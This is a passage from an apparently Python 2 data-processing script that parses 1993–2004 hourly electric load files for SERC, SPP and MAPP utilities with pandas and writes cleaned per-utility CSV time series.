1998 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1998/ODECD98' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values,
1999 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1999/ODECD99' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values,
2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/ODECD00' % (fulldir)).readlines()[3:]])[4].astype(float).values,
2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/ODECD01' % (fulldir)).readlines()[3:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values,
2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/ODECD02' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values,
2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/ODECD03' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values,
2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/ODECD04' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values
},
402291 : {
1996 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1996/ODECV96' % (fulldir)).readlines()[3:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values,
1997 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1997/ODECV97' % (fulldir)).readlines()[4:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values,
1998 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1998/ODECV98' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values,
1999 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1999/ODECV99' % (fulldir)).readlines()[2:]]).iloc[:, 3:].values.ravel()).str.replace('[^\d]', '').replace('', '0').astype(float).values,
2000 : pd.DataFrame([i.split() for i in open('%s/serc/2000/ODECV00' % (fulldir)).readlines()[3:]])[4].astype(float).values,
2001 : pd.DataFrame([i.split() for i in open('%s/serc/2001/ODECV01' % (fulldir)).readlines()[3:]])[4].dropna().str.replace('[N/A]', '').replace('', '0').astype(float).values,
2002 : pd.DataFrame([i.split() for i in open('%s/serc/2002/ODECV02' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values,
2003 : pd.DataFrame([i.split() for i in open('%s/serc/2003/ODECV03' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values,
2004 : pd.DataFrame([i.split() for i in open('%s/serc/2004/ODECV04' % (fulldir)).readlines()[5:]])[4].str.replace('[N/A]', '').replace('', '0').astype(float).values
},
195 : {
1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/APCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values,
1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/APCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(),
1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Alabama'].dropna().values,
2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 2].values,
2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Alabama'].values,
2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 2].values,
2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 2].values,
2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 1].values
},
7140 : {
1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/GPCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values,
1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/GPCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).replace(np.nan, 0).values.ravel(),
1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Georgia'].dropna().values,
2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 3].values,
2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Georgia'].values,
2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 3].values,
2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 3].values,
2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 2].values
},
7801 : {
1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/GUCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values,
1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/GUCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(),
1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Gulf'].dropna().values,
2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 4].values,
2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Gulf'].values,
2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 4].values,
2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 4].values,
2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 3].values
},
12686 : {
1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/MPCO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values,
1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/MPCO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(),
1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Mississippi'].dropna().values,
2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 5].values,
2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Mississippi'].values,
2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 5].values,
2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 5].values,
2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 4].values
},
16687 : {
1993 : pd.Series(pd.DataFrame([i.split() for i in open('%s/serc/1993/SECO93' % (fulldir)).readlines()[:-1]]).iloc[:,-1].values).str.replace('[^\d]', '').replace('', '0').astype(float).values,
1994 : pd.DataFrame([i.split() for i in open('%s/serc/1994/SECO94' % (fulldir)).readlines()[:-1]]).iloc[:, 1:].astype(float).values.ravel(),
1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['Savannah'].dropna().values,
2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 6].values,
2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Savannah'].values,
2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 6].values,
2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 6].values,
2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 5].values
},
18195 : {
1999 : pd.read_excel('%s/serc/1999/SOCO99' % (fulldir))['System'].dropna().values,
2000 : pd.read_excel('%s/serc/2000/SOCO00' % (fulldir), skiprows=1).iloc[:, 7].values,
2001 : pd.read_excel('%s/serc/2001/SOCO01' % (fulldir))['Southern'].values,
2002 : pd.read_excel('%s/serc/2002/SOCO02' % (fulldir), skiprows=1).iloc[:, 7].values,
2003 : pd.read_excel('%s/serc/2003/SOCO03' % (fulldir)).iloc[:, 8].values,
2004 : pd.read_excel('%s/serc/2004/SOCO04' % (fulldir), skiprows=1).iloc[:, 7].values
}
}
serc.update({40229 : {}})
for i in serc[402290].keys():
serc[40229][i] = serc[402290][i] + serc[402291][i]
serc[189][2001][serc[189][2001] > 2000] = 0
serc[3408][2002][serc[3408][2002] > 2000] = 0
serc[3408][2003][serc[3408][2003] > 2000] = 0
serc[7140][1999][serc[7140][1999] < 0] = 0
serc[7140][1994][serc[7140][1994] > 20000] = 0
if not os.path.exists('./serc'):
os.mkdir('serc')
for k in serc.keys():
print k
s = pd.DataFrame(pd.concat([pd.Series(serc[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(serc[k][i]))) for i in serc[k].keys()]).sort_index(), columns=['load'])
s['load'] = s['load'].astype(float).replace(0, np.nan)
s.to_csv('./serc/%s.csv' % k)
###### SPP
# AECC: 807
# CAJN: 2777
# CLEC: 3265
# EMDE: 5860
# ENTR: 12506
# KCPU: 9996
# LEPA: 26253
# LUS: 9096
# GSU: 55936 <- 7806
# MPS: 12699
# OKGE: 14063
# OMPA: 14077
# PSOK: 15474
# SEPC: 18315
# WFEC: 20447
# WPEK: 20391
# CSWS: 3283
# SRGT: 40233
# GSEC: 7349
spp = {
807 : {
1993 : pd.read_csv('%s/spp/1993/AECC93' % (fulldir), skiprows=6, skipfooter=1, header=None).iloc[:, -1].values,
1994 : pd.read_csv('%s/spp/1994/AECC94' % (fulldir), skiprows=8, skipfooter=1, header=None).iloc[:, -1].values,
1995 : pd.read_csv('%s/spp/1995/AECC95' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values,
1996 : pd.read_csv('%s/spp/1996/AECC96' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values,
1997 : pd.read_csv('%s/spp/1997/AECC97' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values,
1998 : pd.read_csv('%s/spp/1998/AECC98' % (fulldir), skiprows=9, skipfooter=1, header=None).iloc[:, -1].values,
1999 : pd.read_csv('%s/spp/1999/AECC99' % (fulldir), skiprows=5, skipfooter=1, header=None).iloc[:, -1].values,
2003 : pd.read_csv('%s/spp/2003/AECC03' % (fulldir), skiprows=5, skipfooter=1, header=None).iloc[:, -2].values,
2004 : pd.read_csv('%s/spp/2004/AECC04' % (fulldir), skiprows=5, header=None).iloc[:, -2].values
},
2777 : {
1998 : pd.read_excel('%s/spp/1998/CAJN98' % (fulldir), skiprows=4).iloc[:365, 1:].values.ravel(),
1999 : pd.DataFrame([i.split() for i in open('%s/spp/1999/CAJN99' % (fulldir)).readlines()[:]])[2].astype(float).values
},
3265 : {
1994 : pd.read_fwf('%s/spp/1994/CLEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1996 : pd.DataFrame([i.split() for i in open('%s/spp/1996/CLEC96' % (fulldir)).readlines()[:]])[0].astype(float).values,
1997 : pd.read_csv('%s/spp/1997/CLEC97' % (fulldir)).iloc[:, 2].str.replace(',', '').astype(float).values,
1998 : pd.DataFrame([i.split() for i in open('%s/spp/1998/CLEC98' % (fulldir)).readlines()[:]])[1].astype(float).values,
1999 : pd.DataFrame([i.split() for i in open('%s/spp/1999/CLEC99' % (fulldir)).readlines()[1:]]).iloc[:, 0].astype(float).values,
2001 : pd.DataFrame([i.split() for i in open('%s/spp/2001/CLEC01' % (fulldir)).readlines()[:]])[4].replace('NA', '0').astype(float).values,
},
5860 : {
1997 : pd.DataFrame([i.split() for i in open('%s/spp/1997/EMDE97' % (fulldir)).readlines()[:]])[3].astype(float).values,
1998 : pd.DataFrame([i.split() for i in open('%s/spp/1998/EMDE98' % (fulldir)).readlines()[2:-2]])[2].astype(float).values,
1999 : pd.DataFrame([i.split() for i in open('%s/spp/1999/EMDE99' % (fulldir)).readlines()[3:8763]])[2].astype(float).values,
2001 : pd.read_excel('%s/spp/2001/EMDE01' % (fulldir))['Load'].dropna().values,
2002 : pd.read_excel('%s/spp/2002/EMDE02' % (fulldir))['Load'].dropna().values,
2003 : pd.read_excel('%s/spp/2003/EMDE03' % (fulldir))['Load'].dropna().values,
2004 : pd.read_excel('%s/spp/2004/EMDE04' % (fulldir), skiprows=2).iloc[:8784, -1].values
},
12506 : {
1994 : pd.DataFrame([i.split() for i in open('%s/spp/1994/ENTR94' % (fulldir)).readlines()[:]]).iloc[:, 1:-1].astype(float).values.ravel(),
1995 : pd.DataFrame([i.split() for i in open('%s/spp/1995/ENTR95' % (fulldir)).readlines()[1:-2]]).iloc[:, 1:-1].astype(float).values.ravel(),
1997 : pd.read_csv('%s/spp/1997/ENTR97' % (fulldir), header=None).iloc[:, 1:-1].astype(float).values.ravel(),
1998 : pd.read_csv('%s/spp/1998/ENTR98' % (fulldir), header=None)[2].astype(float).values,
1999 : pd.read_excel('%s/spp/1999/ENTR99' % (fulldir)).iloc[:, -1].values,
2000 : pd.DataFrame([i.split() for i in open('%s/spp/2000/ENTR00' % (fulldir)).readlines()[4:]]).iloc[:, 3:].astype(float).values.ravel(),
2001 : pd.read_fwf('%s/spp/2001/ENTR01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel()
},
9996 : {
1994 : pd.read_fwf('%s/spp/1994/KCPU94' % (fulldir), skiprows=4, header=None).astype(str).apply(lambda x: x.str[-3:]).astype(float).values.ravel(),
1997 : pd.read_csv('%s/spp/1997/KCPU97' % (fulldir), engine='python', header=None)[0].values,
1998 : pd.read_csv('%s/spp/1998/KCPU98' % (fulldir), engine='python', header=None)[0].values,
1999 : pd.read_csv('%s/spp/1999/KCPU99' % (fulldir), skiprows=1, engine='python', header=None)[0].values,
2000 : pd.read_csv('%s/spp/2000/KCPU00' % (fulldir), engine='python', header=None)[0].values,
2002 : pd.read_excel('%s/spp/2002/KCPU02' % (fulldir)).iloc[:, -1].values,
2003 : pd.read_csv('%s/spp/2003/KCPU03' % (fulldir), engine='python', header=None)[0].values,
2004 : pd.read_csv('%s/spp/2004/KCPU04' % (fulldir), engine='python', header=None)[0].values
},
26253 : {
1993 : pd.read_csv('%s/spp/1993/LEPA93' % (fulldir), skiprows=3, header=None)[0].values,
1994 : pd.read_csv('%s/spp/1994/LEPA94' % (fulldir), skiprows=3, header=None)[0].values,
1995 : pd.read_csv('%s/spp/1995/LEPA95' % (fulldir), sep='\t', skiprows=1, header=None)[2].values,
1996 : pd.read_csv('%s/spp/1996/LEPA96' % (fulldir), sep='\t', skiprows=1, header=None)[2].values,
1997 : pd.read_csv('%s/spp/1997/LEPA97' % (fulldir), engine='python', header=None)[0].values,
1998 : pd.read_csv('%s/spp/1998/LEPA98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None),
1998 : pd.Series(pd.read_csv('%s/spp/1998/LEPA98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None)[[1,3]].values.ravel(order='F')).dropna().values,
1999 : pd.read_csv('%s/spp/1999/LEPA99' % (fulldir), sep='\t')['Load'].values,
2001 : pd.read_csv('%s/spp/2001/LEPA01' % (fulldir), engine='python', sep='\t', header=None)[1].values,
2002 : pd.read_csv('%s/spp/2002/LEPA02' % (fulldir), engine='python', sep='\t', header=None)[1].values,
2003 : pd.read_excel('%s/spp/2003/LEPA03' % (fulldir), header=None)[1].values
},
9096 : {
1993 : pd.DataFrame([i.split() for i in open('%s/spp/1993/LUS93' % (fulldir)).readlines()[3:-1]]).iloc[:, -1].astype(float).values,
1994 : pd.DataFrame([i.split() for i in open('%s/spp/1994/LUS94' % (fulldir)).readlines()[3:-1]]).iloc[:, -1].astype(float).values,
1995 : pd.DataFrame([i.split() for i in open('%s/spp/1995/LUS95' % (fulldir)).readlines()[4:-1]]).iloc[:, -1].astype(float).values,
1996 : pd.DataFrame([i.split() for i in open('%s/spp/1996/LUS96' % (fulldir)).readlines()[4:-1]]).iloc[:, -1].astype(float).values,
1997 : pd.DataFrame([i.split('\t') for i in open('%s/spp/1997/LUS97' % (fulldir)).readlines()[3:-2]]).iloc[:, -1].astype(float).values,
1998 : pd.DataFrame([i.split('\t') for i in open('%s/spp/1998/LUS98' % (fulldir)).readlines()[4:]]).iloc[:, -1].astype(float).values,
1999 : pd.DataFrame([i.split(' ') for i in open('%s/spp/1999/LUS99' % (fulldir)).readlines()[4:]]).iloc[:, -1].astype(float).values,
2000 : pd.read_csv('%s/spp/2000/LUS00' % (fulldir), skiprows=3, skipfooter=1, header=None).iloc[:, -1].values,
2001 : pd.read_csv('%s/spp/2001/LUS01' % (fulldir), skiprows=3, header=None).iloc[:, -1].values,
2002 : pd.read_csv('%s/spp/2002/LUS02' % (fulldir), skiprows=3, header=None).iloc[:, -1].values,
2003 : pd.read_csv('%s/spp/2003/LUS03' % (fulldir), skiprows=3, header=None).iloc[:, -1].values,
2004 : pd.read_csv('%s/spp/2004/LUS04' % (fulldir), skiprows=4, header=None).iloc[:, -1].values
},
55936 : {
1993 : pd.read_csv('%s/spp/1993/GSU93' % (fulldir), engine='python', header=None)[0].values
},
12699 : {
1993 : pd.read_csv('%s/spp/1993/MPS93' % (fulldir), sep=' ', skipinitialspace=True)['TOTLOAD'].values,
1996 : pd.read_excel('%s/spp/1996/MPS96' % (fulldir), skiprows=6, header=None).iloc[:, -1].values,
1998 : pd.read_csv('%s/spp/1998/MPS98' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values,
2000 : pd.read_csv('%s/spp/2000/MPS00' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values,
2001 : pd.read_csv('%s/spp/2001/MPS01' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values,
2002 : pd.read_csv('%s/spp/2002/MPS02' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values,
2003 : pd.read_excel('%s/spp/2003/MPS03' % (fulldir)).iloc[:, 1:].values.ravel()
},
14063 : {
1994 : pd.read_csv('%s/spp/1994/OKGE94' % (fulldir), header=None).iloc[:, 1:13].values.ravel()
},
14077 : {
1993 : pd.read_csv('%s/spp/1993/OMPA93' % (fulldir), skiprows=2, header=None, sep=' ', skipinitialspace=True, skipfooter=1).iloc[:, 1:].values.ravel(),
1997 : pd.read_csv('%s/spp/1997/OMPA97' % (fulldir), engine='python', header=None)[0].values,
1998 : pd.read_csv('%s/spp/1998/OMPA98' % (fulldir), skiprows=2, engine='python', header=None)[0].str.replace('\*', '').astype(float).values,
2000 : pd.read_csv('%s/spp/2000/OMPA00' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000,
2001 : pd.read_csv('%s/spp/2001/OMPA01' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000,
2002 : pd.read_csv('%s/spp/2002/OMPA02' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000,
2003 : pd.read_csv('%s/spp/2003/OMPA03' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000,
2004 : pd.read_csv('%s/spp/2004/OMPA04' % (fulldir), skiprows=2, engine='python', header=None)[0].astype(float).values/1000
},
15474 : {
1993 : pd.read_fwf('%s/spp/1993/PSOK93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel()
},
18315 : {
1993 : pd.read_csv('%s/spp/1993/SEPC93' % (fulldir), header=None).iloc[:, 1:].astype(str).apply(lambda x: x.str.replace('NA', '').str.strip()).replace('', '0').astype(float).values.ravel(),
1997 : (pd.read_fwf('%s/spp/1997/SEPC97' % (fulldir), skiprows=1, header=None)[5]/1000).values,
1999 : pd.read_csv('%s/spp/1999/SEPC99' % (fulldir), sep='\t', skipinitialspace=True, header=None)[3].str.strip().replace('#VALUE!', '0').astype(float).values,
2000 : pd.read_csv('%s/spp/2000/SEPC00' % (fulldir), sep='\t', skipinitialspace=True, header=None)[3].apply(lambda x: 0 if len(x) > 3 else x).astype(float).values,
2001 : pd.read_csv('%s/spp/2001/SEPC01' % (fulldir), sep='\t', skipinitialspace=True, header=None)[3].apply(lambda x: 0 if len(x) > 3 else x).astype(float).values,
2002 : (pd.read_fwf('%s/spp/2002/SEPC02' % (fulldir), skiprows=1, header=None)[6]).str.replace('"', '').str.strip().astype(float).values,
2004 : pd.read_csv('%s/spp/2004/SEPC04' % (fulldir), header=None, sep='\t')[5].values
},
20447 : {
1993 : pd.read_csv('%s/spp/1993/WFEC93' % (fulldir)).iloc[:, 0].values,
2000 : pd.read_csv('%s/spp/2000/WFEC00' % (fulldir), header=None, sep=' ', skipinitialspace=True)[0].values
},
20391 : {
1993 : pd.DataFrame([i.split() for i in open('%s/spp/1993/WPEK93' % (fulldir)).readlines()[:]]).iloc[:365, 1:25].astype(float).values.ravel(),
1996 : pd.read_excel('%s/spp/1996/WPEK96' % (fulldir), skiprows=2).dropna().iloc[:, 1:].values.ravel(),
1998 : pd.read_csv('%s/spp/1998/WPEK98' % (fulldir), header=None, sep=' ', skipinitialspace=True)[6].values,
2000 : pd.read_csv('%s/spp/2000/WPEK00' % (fulldir), header=None, sep=' ', skipinitialspace=True)[6].values,
2001 : pd.read_csv('%s/spp/2001/WPEK01' % (fulldir), header=None, sep=' ', skipinitialspace=True)[6].values,
2002 : pd.read_csv('%s/spp/2002/WPEK02' % (fulldir), header=None, sep=' ', skipinitialspace=True)[4].values
},
3283 : {
1997 : pd.read_fwf('%s/spp/1997/CSWS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=6).iloc[:, 1:].values.ravel(),
1998 : pd.read_csv('%s/spp/1998/CSWS98' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True, header=None)[2].values,
1999 : pd.read_csv('%s/spp/1999/CSWS99' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[2].values,
2000 : pd.read_csv('%s/spp/2000/CSWS00' % (fulldir), skiprows=5, sep=' ', skipinitialspace=True, header=None)[2].values
},
40233 : {
2000 : pd.read_fwf('%s/spp/2000/SRGT00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2001 : pd.read_fwf('%s/spp/2001/SRGT01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel()
},
7349 : {
1997 : pd.read_csv('%s/spp/1997/GSEC97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None).iloc[:, 1:].values.ravel(),
1998 : pd.read_csv('%s/spp/1998/GSEC98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None).iloc[:, 1:].values.ravel(),
1999 : pd.read_csv('%s/spp/1999/GSEC99' % (fulldir), sep='\s', skipinitialspace=True, skiprows=2, header=None)[17].dropna().values,
2000 : pd.read_csv('%s/spp/2000/GSEC00' % (fulldir), skiprows=1, engine='python', header=None)[0].values,
2001 : pd.DataFrame([i.split() for i in open('%s/spp/2001/GSEC01' % (fulldir)).readlines()[1:]])[0].astype(float).values,
2002 : pd.read_csv('%s/spp/2002/GSEC02' % (fulldir), sep=' ', skipinitialspace=True, skiprows=2, header=None)[5].values,
2003 : pd.read_csv('%s/spp/2003/GSEC03' % (fulldir), header=None)[2].values,
2004 : (pd.read_csv('%s/spp/2004/GSEC04' % (fulldir), sep=' ', skipinitialspace=True, skiprows=1, header=None)[5]/1000).values
}
}
spp[9096][2003][spp[9096][2003] > 600] = 0
spp[9996][2002] = np.repeat(np.nan, len(spp[9996][2002]))
spp[7349][2003] = np.repeat(np.nan, len(spp[7349][2003]))
if not os.path.exists('./spp'):
os.mkdir('spp')
for k in spp.keys():
print k
s = pd.DataFrame(pd.concat([pd.Series(spp[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(spp[k][i]))) for i in spp[k].keys()]).sort_index(), columns=['load'])
s['load'] = s['load'].astype(float).replace(0, np.nan)
s.to_csv('./spp/%s.csv' % k)
###### MAPP
# CIPC: 3258
# CP: 4322
# CBPC: 4363
# DPC: 4716
# HUC: 9130
# IES: 9219
# IPW: 9417 <- 9392
# IIGE: 9438
# LES: 11018
# MPL: 12647
# MPC: 12658
# MDU: 12819
# MEAN: 21352
# MPW: 13143
# NPPD: 13337
# NSP: 13781
# NWPS: 13809
# OPPD: 14127
# OTP: 14232
# SMMP: 40580
# UPA: 19514
# WPPI: 20858
# MEC: 12341 <- 9435
# CPA: 4322
# MWPS: 23333
mapp = {
3258 : {
1998 : pd.read_fwf('%s/mapp/1998/CIPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
4322 : {
1993 : pd.read_fwf('%s/mapp/1993/CP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/CP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/CP96' % (fulldir), header=None).iloc[:, 2:].values.ravel()
},
4363 : {
1993 : pd.read_fwf('%s/mapp/1993/CBPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/CBPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/CBPC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/CBPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/CBPC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/CB02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel()
},
4716 : {
1993 : pd.read_fwf('%s/mapp/1993/DPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/DPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_csv('%s/mapp/1996/DPC96' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 6:].values.ravel()
},
9130 : {
1993 : pd.read_fwf('%s/mapp/1993/HUC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/HUC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/HUC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/HUC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/HUC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/HUC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/HUC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/HUC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
9219 : {
1993 : pd.read_fwf('%s/mapp/1993/IESC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
